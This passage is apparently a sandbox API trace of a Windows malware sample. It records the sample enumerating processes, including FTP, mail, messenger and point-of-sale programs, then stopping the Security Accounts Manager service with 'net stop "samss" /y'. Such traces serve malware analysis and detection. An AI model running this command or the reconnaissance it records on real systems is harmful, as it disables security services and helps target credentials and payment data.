	[0183.730] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0183.733] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0183.737] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0183.740] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0183.742] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0183.745] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0183.748] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0184.002] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0184.005] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0184.008] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0184.011] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0184.014] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0184.017] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0184.020] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0184.023] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0184.026] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0184.029] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0184.032] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0184.035] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0184.038] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0184.041] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0184.044] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0184.704] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0184.708] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0184.711] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0184.714] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0184.717] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0184.720] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0184.722] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0184.725] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0184.728] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0184.731] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0184.734] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0184.737] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0184.739] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0184.742] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0184.745] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0184.748] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0185.156] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0185.159] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0185.162] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0185.165] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0185.167] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0185.170] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0185.173] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0185.175] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0185.178] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0185.181] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0185.183] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0185.186] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0185.470] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0185.473] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0185.476] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0185.478] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0185.481] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0185.483] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0185.486] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0185.489] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0185.491] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0185.494] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0185.496] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0185.499] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0185.502] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0185.504] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0185.507] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0185.509] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0185.511] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0185.514] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0185.626] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0185.628] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0185.630] Process32NextW (in: hSnapshot=0x134, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmiadap.exe")) returned 0
	[0185.632] CloseHandle (hObject=0x134) returned 1
	[0185.632] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2bfda0
	[0185.633] EnumServicesStatusW (in: hSCManager=0x2bfda0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 0
	[0185.634] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x1e0000
	[0185.634] EnumServicesStatusW (in: hSCManager=0x2bfda0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x1e0000, cbBufSize=0x169d, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x1e0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 1
	[0185.636] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0186.320] Sleep (dwMilliseconds=0x96) 
	[0186.706] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.706] Sleep (dwMilliseconds=0xc350) 
	[0197.272] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x248
	[0197.618] Process32FirstW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0197.622] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0197.626] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0197.629] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0197.632] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
